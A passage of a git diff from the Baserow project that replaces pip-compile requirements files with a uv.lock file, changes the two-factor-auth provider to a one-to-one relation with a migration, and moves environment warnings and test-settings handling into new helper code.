https://github.com/fellowapp/prosemirror-py/archive/refs/tags/v0.3.5.zip - # via -r base.in -proto-plus==1.25.0 - # via google-api-core -protobuf==5.29.5 - # via - # google-api-core - # googleapis-common-protos - # opentelemetry-proto - # proto-plus -psutil==5.9.8 - # via -r base.in -psycopg2==2.9.10 - # via -r base.in -pyasn1==0.6.1 - # via - # advocate - # ndg-httpsclient - # pyasn1-modules - # rsa - # service-identity -pyasn1-modules==0.4.1 - # via - # google-auth - # service-identity -pycparser==2.22 - # via cffi -pydantic==2.9.2 - # via - # anthropic - # langchain - # langchain-core - # langsmith - # mcp - # mistralai - # openai - # pydantic-settings - # udspy -pydantic-core==2.23.4 - # via pydantic -pydantic-settings==2.8.1 - # via mcp -pygments==2.19.1 - # via rich -pyjwt==2.10.1 - # via djangorestframework-simplejwt -pyopenssl==24.3.0 - # via - # advocate - # ndg-httpsclient - # pysaml2 - # twisted -pyotp==2.9.0 - # via -r base.in -pyparsing==3.2.1 - # via jira2markdown -pysaml2==7.5.0 - # via -r base.in -python-crontab==3.2.0 - # via django-celery-beat -python-dateutil==2.8.2 - # via - # botocore - # celery - # celery-redbeat - # faker - # icalendar - # mistralai - # posthog - # pysaml2 - # python-crontab -python-dotenv==1.0.1 - # via - # pydantic-settings - # uvicorn -python-multipart==0.0.20 - # via mcp -pytz==2024.2 - # via - # flower - # icalendar - # pysaml2 -pyyaml==6.0.2 - # via - # drf-spectacular - # huggingface-hub - # langchain - # langchain-core - # uvicorn -qrcode==8.2 - # via -r base.in -redis==5.2.1 - # via - # -r base.in - # celery-redbeat - # celery-singleton - # channels-redis - # django-redis - # kombu -referencing==0.36.2 - # via - # jsonschema - # jsonschema-specifications -regex==2025.10.23 - # via - # -r base.in - # tiktoken - # udspy -requests==2.32.5 - # via - # -r base.in - # advocate - # azure-core - # google-api-core - # google-cloud-storage - # huggingface-hub - # langchain - # langsmith - # opentelemetry-exporter-otlp-proto-http - # posthog - # pysaml2 - # requests-oauthlib - # requests-toolbelt - # tiktoken -requests-oauthlib==2.0.0 - # via -r base.in -requests-toolbelt==1.0.0 - # via langsmith -rich==13.7.1 - # via -r base.in -rpds-py==0.26.0 - # via - # jsonschema - # referencing -rsa==4.9 - # via google-auth -s3transfer==0.14.0 - # via boto3 -sentry-sdk==2.29.1 - # via -r base.in -service-identity==24.1.0 - # via - # -r base.in - # twisted -six==1.17.0 - # via - # advocate - # azure-core - # posthog - # python-dateutil -sniffio==1.3.1 - # via - # anthropic - # anyio - # httpx - # openai -sqlalchemy==2.0.36 - # via langchain -sqlparse==0.5.3 - # via django -sse-starlette==2.2.1 - # via mcp -starlette==0.46.1 - # via - # mcp - # sse-starlette -tenacity==8.5.0 - # via - # celery-redbeat - # langchain-core - # udspy -tiktoken==0.9.0 - # via langchain-openai -tokenizers==0.21.0 - # via anthropic -tornado==6.5 - # via - # -r base.in - # flower -tqdm==4.66.4 - # via - # -r base.in - # huggingface-hub - # openai -twisted[tls]==24.11.0 - # via - # -r base.in - # daphne -txaio==23.1.1 - # via autobahn -typing-extensions==4.11.0 - # via - # -r base.in - # anthropic - # anyio - # azure-core - # azure-storage-blob - # dj-database-url - # huggingface-hub - # langchain-core - # openai - # opentelemetry-api - # opentelemetry-exporter-otlp-proto-http - # opentelemetry-sdk - # opentelemetry-semantic-conventions - # posthog - # prosemirror - # pydantic - # pydantic-core - # referencing - # sqlalchemy - # twisted - # typing-inspect -typing-inspect==0.9.0 - # via mistralai -tzdata==2025.2 - # via - # -r base.in - # django-celery-beat - # kombu -udspy==0.1.8 - # via -r base.in -unicodecsv==0.14.1 - # via -r base.in -uritemplate==4.1.1 - # via drf-spectacular -urllib3==1.26.20 - # via - # advocate - # botocore - # requests - # sentry-sdk -uvicorn[standard]==0.34.2 - # via - # -r base.in - # mcp -uvloop==0.21.0 - # via uvicorn -validators==0.28.1 - # via -r base.in -vine==5.1.0 - # via - # amqp - # celery - # kombu -watchfiles==1.0.3 - # via uvicorn -wcwidth==0.2.13 - # via prompt-toolkit -websockets==12.0 - # via - # -r base.in - # uvicorn -wrapt==1.17.0 - # via - # opentelemetry-instrumentation - # opentelemetry-instrumentation-aiohttp-client - # opentelemetry-instrumentation-dbapi - # opentelemetry-instrumentation-grpc - # opentelemetry-instrumentation-redis -xmlschema==2.5.1 - # via pysaml2 -zipp==3.19.1 - # via - # -r base.in - # importlib-metadata -zipstream-ng==1.8.0 - # via -r base.in -zope-interface==7.2 - # via twisted -zstandard==0.23.0 - # via langsmith - -# The following packages are considered to be unsafe in a requirements file: -# setuptools diff --git a/backend/requirements/dev.in b/backend/requirements/dev.in deleted file mode 100644 index 24b57cae49..0000000000 --- a/backend/requirements/dev.in +++ /dev/null @@ -1,47 +0,0 @@ --c base.txt -flake8==7.0.0 -pytest==8.2.0 -pytest-django==4.8.0 -pytest-env==1.1.3 -pytest-asyncio==0.23.6 -pytest-ordering==0.6 -pytest-mock==3.14.0 -pytest-icdiff==0.9 -freezegun==1.5.0 -responses==0.25.0 -watchdog==4.0.0 -argh==0.31.2 -black==23.3.0 -pyinstrument==4.6.2 -pyfakefs==5.4.1 -pytest-xdist==3.6.1 -django-silk==5.1.0 -django-extensions==3.2.3 -snoop==0.4.3 -openapi-spec-validator==0.7.2 -pytest-html==4.1.1 -coverage==7.5.1 -pytest-split==0.8.2 -bandit==1.7.8 -pip-tools==7.5.2 -autopep8==2.1.0 -pytest-unordered==0.6.0 -debugpy==1.8.1 -backports.cached-property==1.0.2 -httpretty==1.1.4 -graphviz==0.20.3 -pytest-cov==5.0.0 -django-stubs==1.16.0 -django-stubs-ext==0.8.0 -# ignored for now because of version conflict -# djangorestframework-stubs==1.10.0 -mypy==1.10.0 -mypy-extensions==1.0.0 -isort==5.13.2 -ipython -fakeredis[lua]==2.23.2 -pytest-retry==1.7.0 -pytest-testmon==2.1.3 -ipdb -# build is used to compile a wheel package with `python -m build .` command. -build diff --git a/backend/requirements/dev.txt b/backend/requirements/dev.txt deleted file mode 100644 index 11d2cad789..0000000000 --- a/backend/requirements/dev.txt +++ /dev/null @@ -1,353 +0,0 @@ -# -# This file is autogenerated by pip-compile with Python 3.11 -# by the following command: -# -# pip-compile --output-file=dev.txt dev.in -# -argh==0.31.2 - # via -r dev.in -asgiref==3.8.1 - # via - # -c base.txt - # django -asttokens==3.0.0 - # via - # snoop - # stack-data -async-timeout==5.0.1 - # via - # -c base.txt - # redis -attrs==24.3.0 - # via - # -c base.txt - # jsonschema - # referencing -autopep8==2.1.0 - # via - # -r dev.in - # django-silk -backports-cached-property==1.0.2 - # via -r dev.in -bandit==1.7.8 - # via -r dev.in -black==23.3.0 - # via -r dev.in -build==1.2.2.post1 - # via - # -r dev.in - # pip-tools -certifi==2025.4.26 - # via - # -c base.txt - # requests -charset-normalizer==3.4.1 - # via - # -c base.txt - # requests -cheap-repr==0.5.2 - # via snoop -click==8.1.8 - # via - # -c base.txt - # black - # pip-tools -coverage[toml]==7.5.1 - # via - # -r dev.in - # pytest-cov - # pytest-testmon -debugpy==1.8.1 - # via -r dev.in -decorator==5.1.1 - # via - # ipdb - # ipython -django==5.0.14 - # via - # -c base.txt - # django-extensions - # django-silk - # django-stubs - # django-stubs-ext -django-extensions==3.2.3 - # via -r dev.in -django-silk==5.1.0 - # via -r dev.in -django-stubs==1.16.0 - # via -r dev.in -django-stubs-ext==0.8.0 - # via - # -r dev.in - # django-stubs -execnet==2.1.1 - # via pytest-xdist -executing==2.1.0 - # via - # snoop - # stack-data -fakeredis[lua]==2.23.2 - # via -r dev.in -flake8==7.0.0 - # via -r dev.in -freezegun==1.5.0 - # via -r dev.in -gprof2dot==2024.6.6 - # via django-silk -graphviz==0.20.3 - # via -r dev.in -httpretty==1.1.4 - # via -r dev.in -icdiff==2.0.7 - # via pytest-icdiff -idna==3.10 - # via - # -c base.txt - # requests -iniconfig==2.0.0 - # via pytest -ipdb==0.13.13 - # via -r dev.in -ipython==8.31.0 - # via - # -r dev.in - # ipdb -isort==5.13.2 - # via -r dev.in -jedi==0.19.2 - # via ipython -jinja2==3.1.6 - # via pytest-html -jsonschema==4.25.0 - # via - # -c base.txt - # openapi-schema-validator - # openapi-spec-validator -jsonschema-path==0.3.4 - # via openapi-spec-validator -jsonschema-specifications==2025.4.1 - # via - # -c base.txt - # jsonschema - # openapi-schema-validator -lazy-object-proxy==1.10.0 - # via openapi-spec-validator -lupa==2.2 - # via fakeredis -markdown-it-py==3.0.0 - # via - # -c base.txt - # rich -markupsafe==3.0.3 - # via jinja2 -matplotlib-inline==0.1.7 - # via ipython -mccabe==0.7.0 - # via flake8 -mdurl==0.1.2 - # via - # -c base.txt - # markdown-it-py -mypy==1.10.0 - # via - # -r dev.in - # django-stubs -mypy-extensions==1.0.0 - # via - # -c base.txt - # -r dev.in - # black - # mypy -openapi-schema-validator==0.6.3 - # via openapi-spec-validator -openapi-spec-validator==0.7.2 - # via -r dev.in -packaging==23.2 - # via - # -c base.txt - # black - # build - # pytest -parso==0.8.4 - # via jedi -pathable==0.4.3 - # via jsonschema-path -pathspec==0.12.1 - # via black -pbr==6.1.0 - # via stevedore -pexpect==4.9.0 - # via ipython -pip-tools==7.5.2 - # via -r dev.in -platformdirs==4.3.6 - # via black -pluggy==1.5.0 - # via pytest -pprintpp==0.4.0 - # via pytest-icdiff -prompt-toolkit==3.0.48 - # via - # -c base.txt - # ipython -ptyprocess==0.7.0 - # via pexpect -pure-eval==0.2.3 - # via stack-data -pycodestyle==2.11.1 - # via - # autopep8 - # flake8 -pyfakefs==5.4.1 - # via -r dev.in -pyflakes==3.2.0 - # via flake8 -pygments==2.19.1 - # via - # -c base.txt - # ipython - # rich - # snoop -pyinstrument==4.6.2 - # via -r dev.in -pyproject-hooks==1.2.0 - # via - # build - # pip-tools -pytest==8.2.0 - # via - # -r dev.in - # pytest-asyncio - # pytest-cov - # pytest-django - # pytest-env - # pytest-html - # pytest-icdiff - # pytest-metadata - # pytest-mock - # pytest-ordering - # pytest-retry - # pytest-split - # pytest-testmon - # pytest-unordered - # pytest-xdist -pytest-asyncio==0.23.6 - # via -r dev.in -pytest-cov==5.0.0 - # via -r dev.in -pytest-django==4.8.0 - # via -r dev.in -pytest-env==1.1.3 - # via -r dev.in -pytest-html==4.1.1 - # via -r dev.in -pytest-icdiff==0.9 - # via -r dev.in -pytest-metadata==3.1.1 - # via pytest-html -pytest-mock==3.14.0 - # via -r dev.in -pytest-ordering==0.6 - # via -r dev.in -pytest-retry==1.7.0 - # via -r dev.in -pytest-split==0.8.2 - # via -r dev.in -pytest-testmon==2.1.3 - # via -r dev.in -pytest-unordered==0.6.0 - # via -r dev.in -pytest-xdist==3.6.1 - # via -r dev.in -python-dateutil==2.8.2 - # via - # -c base.txt - # freezegun -pyyaml==6.0.2 - # via - # -c base.txt - # bandit - # jsonschema-path - # responses -redis==5.2.1 - # via - # -c base.txt - # fakeredis -referencing==0.36.2 - # via - # -c base.txt - # jsonschema - # jsonschema-path - # jsonschema-specifications -requests==2.32.5 - # via - # -c base.txt - # jsonschema-path - # responses -responses==0.25.0 - # via -r dev.in -rfc3339-validator==0.1.4 - # via openapi-schema-validator -rich==13.7.1 - # via - # -c base.txt - # bandit -rpds-py==0.26.0 - # via - # -c base.txt - # jsonschema - # referencing -six==1.17.0 - # via - # -c base.txt - # python-dateutil - # rfc3339-validator - # snoop -snoop==0.4.3 - # via -r dev.in -sortedcontainers==2.4.0 - # via fakeredis -sqlparse==0.5.3 - # via - # -c base.txt - # django - # django-silk -stack-data==0.6.3 - # via ipython -stevedore==5.4.0 - # via bandit -tomli==2.2.1 - # via django-stubs -traitlets==5.14.3 - # via - # ipython - # matplotlib-inline -types-pytz==2024.2.0.20241221 - # via django-stubs -types-pyyaml==6.0.12.20241230 - # via django-stubs -typing-extensions==4.11.0 - # via - # -c base.txt - # django-stubs - # django-stubs-ext - # ipython - # mypy - # referencing -urllib3==1.26.20 - # via - # -c base.txt - # requests - # responses -watchdog==4.0.0 - # via -r dev.in -wcwidth==0.2.13 - # via - # -c base.txt - # prompt-toolkit -wheel==0.45.1 - # via pip-tools - -# The following packages are considered to be unsafe in a requirements file: -# pip -# setuptools diff --git a/backend/src/baserow/api/workspaces/users/serializers.py b/backend/src/baserow/api/workspaces/users/serializers.py index d31cf566d8..bedc833196 100644 --- a/backend/src/baserow/api/workspaces/users/serializers.py +++ b/backend/src/baserow/api/workspaces/users/serializers.py @@ -46,8 +46,8 @@ def get_email(self, object): def get_two_factor_auth(self, object): try: - provider = object.user.two_factor_auth_providers.all()[0] - except IndexError: + provider = object.user.two_factor_auth_provider + except User.two_factor_auth_provider.RelatedObjectDoesNotExist: provider = None return TwoFactorAuthSerializer(provider).data diff --git a/backend/src/baserow/api/workspaces/users/views.py b/backend/src/baserow/api/workspaces/users/views.py index 8fe6c496ad..8bbf68578f 100755 --- a/backend/src/baserow/api/workspaces/users/views.py +++ b/backend/src/baserow/api/workspaces/users/views.py @@ -131,7 +131,7 @@ def get(self, request, workspace_id, query_params): .select_related("workspace", "user", "user__profile") .prefetch_related( Prefetch( - "user__two_factor_auth_providers", + "user__two_factor_auth_provider", queryset=specific_queryset( TwoFactorAuthProviderModel.objects.all() ), diff --git a/backend/src/baserow/config/asgi.py b/backend/src/baserow/config/asgi.py index 0afdbb6bd8..83e4730466 100644 --- a/backend/src/baserow/config/asgi.py +++ b/backend/src/baserow/config/asgi.py @@ -4,7 +4,11 @@ from channels.routing import ProtocolTypeRouter, URLRouter -from baserow.config.helpers import ConcurrencyLimiterASGI, check_lazy_loaded_libraries +from baserow.config.helpers import ( + ConcurrencyLimiterASGI, + check_lazy_loaded_libraries, + log_env_warnings, +) from baserow.core.mcp import get_baserow_mcp_server from baserow.core.telemetry.telemetry import setup_logging, setup_telemetry from baserow.ws.routers import websocket_router @@ -22,6 +26,9 @@ # This runs after Django is fully loaded, so it catches imports from all apps. check_lazy_loaded_libraries() +# Finally log any warnings about the environment variables that can help debug issues. +log_env_warnings() + application = ProtocolTypeRouter( { "http": ConcurrencyLimiterASGI( diff --git a/backend/src/baserow/config/helpers.py b/backend/src/baserow/config/helpers.py index adf35aa1ea..3307cb9e3f 100644 --- a/backend/src/baserow/config/helpers.py +++ b/backend/src/baserow/config/helpers.py @@ -1,4 +1,5 @@ import asyncio +import os import sys from django.conf import settings @@ -75,3 +76,37 @@ def __init__(self, app, max_concurrency: int | None = None): async def __call__(self, scope, receive, send): async with self.semaphore: await self.app(scope, receive, send) + + +def log_env_warnings(): + from django.conf import settings + + if settings.BASEROW_PUBLIC_URL: + if settings.BASEROW_PUBLIC_URL.startswith("http://localhost"): + logger.warning( + "WARNING: Baserow is configured to use a BASEROW_PUBLIC_URL of " + f"{settings.BASEROW_PUBLIC_URL}. If you attempt to access Baserow on " + "any other hostname requests to the backend will fail as they will be " + "from an unknown host. " + "Please set BASEROW_PUBLIC_URL if you will be accessing Baserow " + f"from any other URL then {settings.BASEROW_PUBLIC_URL}." + ) + else: + if "PUBLIC_BACKEND_URL" not in os.environ: + logger.warning( + "WARNING: Baserow is configured to use a PUBLIC_BACKEND_URL of " + f"{settings.PUBLIC_BACKEND_URL}. If you attempt to access Baserow on any other " + "hostname requests to the backend will fail as they will be from an " + "unknown host." + "Please ensure you set PUBLIC_BACKEND_URL if you will be accessing " + f"Baserow from any other URL then {settings.PUBLIC_BACKEND_URL}." + ) + if "PUBLIC_WEB_FRONTEND_URL" not in os.environ: + logger.warning( + "WARNING: Baserow is configured to use a default PUBLIC_WEB_FRONTEND_URL " + f"of {settings.PUBLIC_WEB_FRONTEND_URL}. Emails sent by Baserow will use links " + f"pointing to {settings.PUBLIC_WEB_FRONTEND_URL} when telling users how to " + "access your server. " + "If this is incorrect please ensure you have set PUBLIC_WEB_FRONTEND_URL to " + "the URL where users can access your Baserow server." + ) diff --git a/backend/src/baserow/config/settings/base.py b/backend/src/baserow/config/settings/base.py index ebcadc5301..8ccddc0b2d 100644 --- a/backend/src/baserow/config/settings/base.py +++ b/backend/src/baserow/config/settings/base.py @@ -723,40 +723,15 @@ def __setitem__(self, key, value): }, } -BASEROW_PUBLIC_URL = os.getenv("BASEROW_PUBLIC_URL") +BASEROW_PUBLIC_URL = os.getenv("BASEROW_PUBLIC_URL", "") if BASEROW_PUBLIC_URL: PUBLIC_BACKEND_URL = BASEROW_PUBLIC_URL PUBLIC_WEB_FRONTEND_URL = BASEROW_PUBLIC_URL - if BASEROW_PUBLIC_URL == "http://localhost": - print( - "WARNING: Baserow is configured to use a BASEROW_PUBLIC_URL of " - "http://localhost. If you attempt to access Baserow on any other hostname " - "requests to the backend will fail as they will be from an unknown host. " - "Please set BASEROW_PUBLIC_URL if you will be accessing Baserow " - "from any other URL then http://localhost." - ) else: PUBLIC_BACKEND_URL = os.getenv("PUBLIC_BACKEND_URL", "http://localhost:8000") PUBLIC_WEB_FRONTEND_URL = os.getenv( "PUBLIC_WEB_FRONTEND_URL", "http://localhost:3000" ) - if "PUBLIC_BACKEND_URL" not in os.environ: - print( - "WARNING: Baserow is configured to use a PUBLIC_BACKEND_URL of " - "http://localhost:8000. If you attempt to access Baserow on any other " - "hostname requests to the backend will fail as they will be from an " - "unknown host." - "Please ensure you set PUBLIC_BACKEND_URL if you will be accessing " - "Baserow from any other URL then http://localhost." - ) - if "PUBLIC_WEB_FRONTEND_URL" not in os.environ: - print( - "WARNING: Baserow is configured to use a default PUBLIC_WEB_FRONTEND_URL " - "of http://localhost:3000. Emails sent by Baserow will use links pointing " - "to http://localhost:3000 when telling users how to access your server. If " - "this is incorrect please ensure you have set PUBLIC_WEB_FRONTEND_URL to " - "the URL where users can access your Baserow server." - ) BASEROW_EMBEDDED_SHARE_URL = os.getenv("BASEROW_EMBEDDED_SHARE_URL") if not BASEROW_EMBEDDED_SHARE_URL: diff --git a/backend/src/baserow/config/settings/test.py b/backend/src/baserow/config/settings/test.py index 4a1c6434a7..1c81786942 100644 --- a/backend/src/baserow/config/settings/test.py +++ b/backend/src/baserow/config/settings/test.py @@ -8,23 +8,44 @@ from baserow.config.settings.utils import str_to_bool -# Create a .env.testing file in the backend directory to store different test settings and -# override the default ones. For different test settings, provide the TEST_ENV_FILE -# environment variable with the name of the file to use. Everything that starts with -# .env.testing will be ignored by git. +# Test environment configuration: +# - TEST_ENV_FILE: Optional env file for test settings (default: none) +# - DATABASE_*, REDIS_*, and MEDIA_ROOT vars can be passed via real env vars or TEST_ENV_FILE +# - All other settings are hardcoded in this file for consistency +# +# Example: DATABASE_URL=postgres://... just b test +# Example: TEST_ENV_FILE=.env.testing-local just b test + BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -TEST_ENV_FILE = os.getenv("TEST_ENV_FILE", ".env.testing") -TEST_ENV_VARS = dotenv_values(os.path.join(BASE_DIR, f"../../../{TEST_ENV_FILE}")) + +# Load optional test env file +TEST_ENV_FILE = os.environ.get("TEST_ENV_FILE", "") +if TEST_ENV_FILE: + TEST_ENV_VARS = dotenv_values(os.path.join(BASE_DIR, f"../../../{TEST_ENV_FILE}")) +else: + TEST_ENV_VARS = {} + +# Prefixes for vars that can be overridden via env vars (for DB/Redis configuration) +ALLOWED_ENV_PREFIXES = ("DATABASE_",) def getenv_for_tests(key: str, default: str = "") -> str: - return TEST_ENV_VARS.get(key, default) + """ + Get env var for tests: + - DATABASE_* vars: check real env first, then TEST_ENV_FILE, then default + - Other vars: only use TEST_ENV_FILE or default (never real env) + """ + + if key.startswith(ALLOWED_ENV_PREFIXES): + # Allow real env vars for database and redis configuration + return os.environ.get(key, TEST_ENV_VARS.get(key, default)) + else: + # Block real env vars for other settings to ensure test consistency + return TEST_ENV_VARS.get(key, default) with patch("os.getenv", getenv_for_tests) as load_dotenv: - # Avoid loading .env settings to prevent conflicts with the test settings, - # but allow custom settings to be loaded from the .env.test file in the - # backend root directory. + # Import base settings with patched os.getenv to control which env vars are used from .base import * # noqa: F403, F401 TESTS = True @@ -58,6 +79,7 @@ def getenv_for_tests(key: str, default: str = "") -> str: # Make sure that we are not using the `MEDIA_URL` environment variable because that # could break the tests. They are expecting it to be 'http://localhost:8000/media/' # because that is default value in `base.py`. +MEDIA_ROOT = "/tmp/media-test/" # nosec MEDIA_URL = "http://localhost:8000/media/" diff --git a/backend/src/baserow/config/wsgi.py b/backend/src/baserow/config/wsgi.py index 6eb510255c..4b267d8775 100644 --- a/backend/src/baserow/config/wsgi.py +++ b/backend/src/baserow/config/wsgi.py @@ -10,7 +10,7 @@ from django.conf import settings from django.core.wsgi import get_wsgi_application -from baserow.config.helpers import check_lazy_loaded_libraries +from baserow.config.helpers import check_lazy_loaded_libraries, log_env_warnings from baserow.core.telemetry.telemetry import setup_logging, setup_telemetry # The telemetry instrumentation library setup needs to run prior to django's setup. @@ -28,3 +28,6 @@ # Check that libraries meant to be lazy-loaded haven't been imported at startup. # This runs after Django is fully loaded, so it catches imports from all apps. check_lazy_loaded_libraries() + +# Finally log any warnings about the environment variables that can help debug issues. +log_env_warnings() diff --git a/backend/src/baserow/core/migrations/0111_alter_twofactorauthprovidermodel_user.py b/backend/src/baserow/core/migrations/0111_alter_twofactorauthprovidermodel_user.py new file mode 100644 index 0000000000..f876e10a5e --- /dev/null +++ b/backend/src/baserow/core/migrations/0111_alter_twofactorauthprovidermodel_user.py @@ -0,0 +1,28 @@ +import django.db.models.deletion +from django.conf import settings +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("core", "0110_totpusedcode"), + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.SeparateDatabaseAndState( + state_operations=[ + migrations.AlterField( + model_name="twofactorauthprovidermodel", + name="user", + field=models.OneToOneField( + help_text="User that setup 2fa with this provider", + on_delete=django.db.models.deletion.CASCADE, + related_name="two_factor_auth_provider", + to=settings.AUTH_USER_MODEL, + ), + ), + ], + database_operations=[], + ), + ] diff --git a/backend/src/baserow/core/two_factor_auth/models.py b/backend/src/baserow/core/two_factor_auth/models.py index cd28e37935..94e4720d46 100644 --- a/backend/src/baserow/core/two_factor_auth/models.py +++ b/backend/src/baserow/core/two_factor_auth/models.py @@ -21,11 +21,10 @@ class TwoFactorAuthProviderModel( related_name="two_factor_auth_providers", on_delete=models.CASCADE, ) - user = models.ForeignKey( + user = models.OneToOneField( "auth.User", - unique=True, on_delete=models.CASCADE, - related_name="two_factor_auth_providers", + related_name="two_factor_auth_provider", help_text="User that setup 2fa with this provider", ) diff --git a/backend/src/baserow/manage.py b/backend/src/baserow/manage.py index e27da52d84..cfe0e0e51c 100755 --- a/backend/src/baserow/manage.py +++ b/backend/src/baserow/manage.py @@ -13,11 +13,6 @@ def enable_debugger(): debugger_port = int(os.environ.get("BASEROW_BACKEND_DEBUGGER_PORT", 5678)) debugpy.listen(("0.0.0.0", debugger_port)) # nosec print(f"Debugger attached! Listening on 0.0.0.0:{debugger_port}") - else: - print( - "Debugger disabled. Set the env variable " - "BASEROW_BACKEND_DEBUGGER_ENABLED=True to enable it." - ) def main(): diff --git a/backend/tests/baserow/contrib/database/rows/test_row_history.py b/backend/tests/baserow/contrib/database/rows/test_row_history.py index 7b67309548..a0a8de6a25 100644 --- a/backend/tests/baserow/contrib/database/rows/test_row_history.py +++ b/backend/tests/baserow/contrib/database/rows/test_row_history.py @@ -1224,7 +1224,7 @@ def test_delete_rows_action_row_history_with_undo_redo( ) assert undone - history_entries = RowHistory.objects.order_by("row_id").values( + history_entries = RowHistory.objects.order_by("row_id", "id").values( "user_id", "user_name", "table_id", @@ -1272,7 +1272,7 @@ def test_delete_rows_action_row_history_with_undo_redo( ) assert redone - history_entries = RowHistory.objects.order_by("row_id").values( + history_entries = RowHistory.objects.order_by("row_id", "id").values( "user_id", "user_name", "table_id", diff --git a/backend/uv.lock b/backend/uv.lock new file mode 100644 index 0000000000..9d99dbd44d --- /dev/null +++ b/backend/uv.lock @@ -0,0 +1,4137 @@ +version = 1 +revision = 3 +requires-python = "==3.11.*" +resolution-markers = [ + "sys_platform == 'linux'", + "sys_platform == 'darwin'", +] +supported-markers = [ + "sys_platform == 'linux'", + "sys_platform == 'darwin'", +] + +[manifest] +members = [ + "baserow", + "baserow-enterprise", + "baserow-premium", +] + +[[package]] +name = "advocate" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ndg-httpsclient", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "netifaces", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyasn1", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyopenssl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "six", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "urllib3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fe/5e/3103b1c63c6cc2a0cdbb1c1e399f700501e1001675c700d39364f9f8df28/advocate-1.0.0.tar.gz", hash = "sha256:1bf1170e41334279996580329c594e017540ab0eaf7a152323e743f0a85a353d", size = 39981, upload-time = "2020-07-14T15:34:11.396Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/48/ab74ba882cf6f5080ed3fc2f353166930376ac4484d784ceb4dfd5f19c78/advocate-1.0.0-py2.py3-none-any.whl", hash = "sha256:e8b340e49fadc0e416fbc9e81ef52d74858ccad16357dabde6cf9d99a7407d70", size = 34179, upload-time = "2020-07-14T15:34:10.013Z" }, +] + +[[package]] +name = "amqp" +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "vine", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/79/fc/ec94a357dfc6683d8c86f8b4cfa5416a4c36b28052ec8260c77aca96a443/amqp-5.3.1.tar.gz", hash = "sha256:cddc00c725449522023bad949f70fff7b48f0b1ade74d170a6f10ab044739432", size = 129013, upload-time = "2024-11-12T19:55:44.051Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/26/99/fc813cd978842c26c82534010ea849eee9ab3a13ea2b74e95cb9c99e747b/amqp-5.3.1-py3-none-any.whl", hash = "sha256:43b3319e1b4e7d1251833a93d672b4af1e40f3d632d479b98661a95f117880a2", size = 50944, upload-time = "2024-11-12T19:55:41.782Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anthropic" +version = "0.75.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "distro", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "docstring-parser", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jiter", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sniffio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/04/1f/08e95f4b7e2d35205ae5dcbb4ae97e7d477fc521c275c02609e2931ece2d/anthropic-0.75.0.tar.gz", hash = "sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb", size = 439565, upload-time = "2025-11-24T20:41:45.28Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/60/1c/1cd02b7ae64302a6e06724bf80a96401d5313708651d277b1458504a1730/anthropic-0.75.0-py3-none-any.whl", hash = "sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b", size = 388164, upload-time = "2025-11-24T20:41:43.587Z" }, +] + +[[package]] +name = "antlr4-python3-runtime" +version = "4.9.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/38/7859ff46355f76f8d19459005ca000b6e7012f2f1ca597746cbcd1fbfe5e/antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b", size = 117034, upload-time = "2021-11-06T17:52:23.524Z" } + +[[package]] +name = "anyio" +version = "4.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/16/ce/8a777047513153587e5434fd752e89334ac33e379aa3497db860eeb60377/anyio-4.12.0.tar.gz", hash = "sha256:73c693b567b0c55130c104d0b43a9baf3aa6a31fc6110116509f27bf75e21ec0", size = 228266, upload-time = "2025-11-28T23:37:38.911Z" } 